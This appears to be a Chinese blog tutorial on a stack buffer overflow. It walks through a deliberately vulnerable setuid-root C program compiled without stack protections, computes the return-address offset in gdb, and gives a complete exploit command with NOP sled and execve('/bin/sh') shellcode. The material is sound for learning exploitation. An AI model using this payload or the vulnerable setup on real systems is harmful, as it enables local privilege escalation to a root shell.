PWN学习---1、基本漏洞-缓冲区溢出

环境:Ubuntu12.04 32位
一、存在漏洞代码

//vuln.c 
#include <stdio.h> 
#include <string.h> 
int main(int argc,char * argv [])
{ 
        /* [1] */ char buf [256]; 
        /* [2] */ strcpy(buf,argv [1]); 
        /* [3] */ printf("input:%s \n",buf);
        return 0; 
} 

编译命令:
(关闭栈保护,NX)

$ gcc -g -fno-stack-protector -z execstack -o vuln vuln.c --no-pie   //关闭栈保护和NX保护和PIE保护
$ sudo chown root vuln 
$ sudo chgrp root vuln 
$ sudo chmod +s vuln

二、代码堆栈布局

(gdb) disassemble main
Dump of assembler code for function main:
   0x08048414 <+0>:	push   %ebp            //把调用函数的ebp入栈
   0x08048415 <+1>:	mov    %esp,%ebp      // 把当前栈顶设置为被调用函数的ebp
   0x08048417 <+3>:	and    $0xfffffff0,%esp   //堆栈对齐(会产生一部分空闲空间)
   0x0804841a <+6>:	sub    $0x110,%esp      //为mian函数的局部变量留出空间
   0x08048420 <+12>:	mov    0xc(%ebp),%eax   //eax=argv 
   0x08048423 <+15>:	add    $0x4,%eax        //eax=&argv[1]
   0x08048426 <+18>:	mov    (%eax),%eax      //eax=argv[1]
   0x08048428 <+20>:	mov    %eax,0x4(%esp)   //strcpy第二个参数入栈
   0x0804842c <+24>:	lea    0x10(%esp),%eax   //eax=”buf”的地址
   0x08048430 <+28>:	mov    %eax,(%esp)      //strcpy第一个参数入栈
   0x08048433 <+31>:	call   0x8048330 <strcpy@plt>//调用strcpy
   0x08048438 <+36>:	mov    $0x8048530,%eax   //eax="input:%s \n"
   0x0804843d <+41>:	lea    0x10(%esp),%edx    //edx=”buf”的地址
   0x08048441 <+45>:	mov    %edx,0x4(%esp)    //printf第二个参数入栈,即buf的地址
   0x08048445 <+49>:	mov    %eax,(%esp)    //printf第一个参数入栈,即输出字符串
   0x08048448 <+52>:	call   0x8048320 <printf@plt>   //调用printf
   0x0804844d <+57>:	mov    $0x0,%eax     //返回0
   0x08048452 <+62>:	leave   //mov epb,esp;pop ebp;
   0x08048453 <+63>:	ret    //return 
End of assembler dump.

在这里插入图片描述
三、测试
1.大概测试

r `python -c 'print "A"*300'`

在这里插入图片描述
返回地址被覆盖
2.计算输入数据与目标返回地址的距离
返回地址位于buf的偏移量0x10c处
0x10c=0x100(buf大小)+0x8(对齐空间)+0x4(调用函数的ebp)

所以用268个A覆盖返回地址之前的空间,用4个B覆盖返回地址:“A”*268+”B”*4

r `python -c 'print "A"*268+"B"*4'`

在这里插入图片描述
返回地址被BBBB覆盖
四、利用调试
1.shellcode分析
shellcode组成:填充1+shellcode的地址+填充2+shellcode
填充1:“A”*268
Shellcode 的地址:"\x4f\xf2\xff\xbf"
地址的寻找:
在这里插入图片描述
单步运行到main函数的最后一步,观察esp的值,此时esp处于main函数的栈顶,指向返回地址。所以shellcode的地址比esp的内容稍大一些,可以选择一个大概的地址,填充一些NOP指令使其跳到shellcode。
填充2:"\x90\x90\x90\x90\x90\x90\x90"
Shellcode:"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

  "\x31\xc0"             /* xorl    %eax,%eax              */
  "\x50"                 /* pushl   %eax                   */
  "\x68""//sh"           /* pushl   $0x68732f2f            */
  "\x68""/bin"           /* pushl   $0x6e69622f            */
  "\x89\xe3"             /* movl    %esp,%ebx              */
  "\x50"                 /* pushl   %eax                   */
  "\x53"                 /* pushl   %ebx                   */
  "\x89\xe1"             /* movl    %esp,%ecx              */
  "\x99"                 /* cdq                            */
  "\xb0\x0b"             /* movb    $0x0b,%al              */
  "\xcd\x80"             /* int     $0x80                  */

2.gdb调试
(1)gdb添加-tui选项,避免花屏
在这里插入图片描述
(2)代码源码及汇编代码可视化
在这里插入图片描述
(3)寄存器可视化
在这里插入图片描述
(4)下断点
在这里插入图片描述
(5)输入shellcode,运行调试

$ r `python -c 'print "A"*268+"\x4f\xf2\xff\xbf\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

停在断点处
在这里插入图片描述
(6)单步步过
在这里插入图片描述
直到最后一步”ret”,此时main函数的ebp已经从栈中弹出,可以看到ebp已经被覆盖
在这里插入图片描述
执行完”ret”,可以看到eip已经替换成shellcode的地址

(7)成功写入
执行一些NOP指令后,程序跳到shellcode处,此时观察汇编指令,可以看到shellcode已经成功写入并可以执行
在这里插入图片描述
例如:“int 0x80”
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值